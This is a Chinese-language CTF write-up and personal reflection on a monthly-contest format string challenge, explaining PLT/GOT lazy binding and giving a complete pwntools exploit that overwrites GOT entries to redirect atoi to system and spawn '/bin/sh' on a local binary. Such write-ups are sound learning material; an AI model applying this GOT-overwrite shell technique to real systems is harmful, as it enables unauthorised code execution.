​ 2.25号月赛,只有一道pwn题,格式化字符串,其实本身抱着一种相对良好的心态,觉得自己学了一段时间了,前段时间刚看的格式化字符串,应该没什么问题………但还是寄了,其他方向队友都做出来了,就只剩自己这一道pwn题了…感觉比较受打击……

​ 在做题的时候,漏洞点很明显,关于如何利用,自己想了很多很多,越想越复杂,越搞心态越崩.结束后看了下exp,其实比自己想的简单多的多.

​ 总结一下,问题有好几个,一个是调试程序不熟练,浪费很多时间,最重要的一个问题还是基础不牢,有些点想不到或者模棱两可,逻辑链连不上,就很容易想复杂,不确定可不可以,就导致了自己很犹豫要不要尝试一下这种攻击手法

​ 这道题其实就是替换函数地址的事,主要是要搞清楚plt,got的关系以及延迟绑定就可以了.

​ 题目链接:https://tangzichengcc.github.io/2023/02/26/pwn入门-11-2月月赛题及反思/ezfmt

​ exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level='debug'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']

p=process('./ezfmt')
p.sendlineafter('Choice:','2')

#gdb.attach(p,'b *0x04008E1')

#payload='aaaaaaaa'+'%6$p'
#system plt ->main
#atoi -> system got

system_got=0x000000000600D38
again=0x00000000004007B7 #选择

atoi_got=0x600D70
system_plt=0x400656

payload=fmtstr_payload(6,{system_got:again,atoi_got:system_plt})
p.sendline(payload)

p.sendline('/bin/sh\x00')

p.interactive()

​ 1.替换的是.got.plt里的地址 , 替换成的again就是.text段sub_4007B7的地址,这样的话,就可以劫持控制流,再次回来.

​ 意思就是call system的时候先去plt,然后进got.plt里的地址,就直接执行4007b7的指令了,没问题

​ 2.同时把获取选择参数的函数atoi换成system(这里为什么又是plt了呢? 因为system的got表里地址还没有初始化,而且被替换了,那就只能是plt,如果初始化了呢? 调用应该也没问题,都是一样的代码,)

​ atoi的got地址,换成system的plt地址的话, call atoi –> atoi的plt–>atoi的got –> system的plt –> system的got(注意,这里不一样了,这里不是got的第一条指令,如果是的话,就还是跳到我们第一步覆盖的again那里了,覆盖的是下一条,就是push,然后jump到dl_runtime_resolve初始化那里) plt具体内容等下一篇博客写吧,正常来说,400650才是它的开头,但不能跳到这里,不然就到again了下一条就可以了

1
2
3
4
5
6
7
8
.plt:0000000000400650 ; int system(const char *command)
.plt:0000000000400650 _system proc near ; CODE XREF: main+DE↓p
.plt:0000000000400650 jmp cs:off_600D38
.plt:0000000000400650 _system endp
.plt:0000000000400650
.plt:0000000000400656 ; ---------------------------------------------------------------------------
.plt:0000000000400656 push 2
.plt:000000000040065B jmp sub_400620

​ 注意最后要再给它输入一个/bin/sh, \x00好像无所谓的

​ context.arch=’amd64’ 如果不加的话也会有问题,为啥呢……….?

​ 如何进行 调试呢??? 可以看看xuanxuan那个博客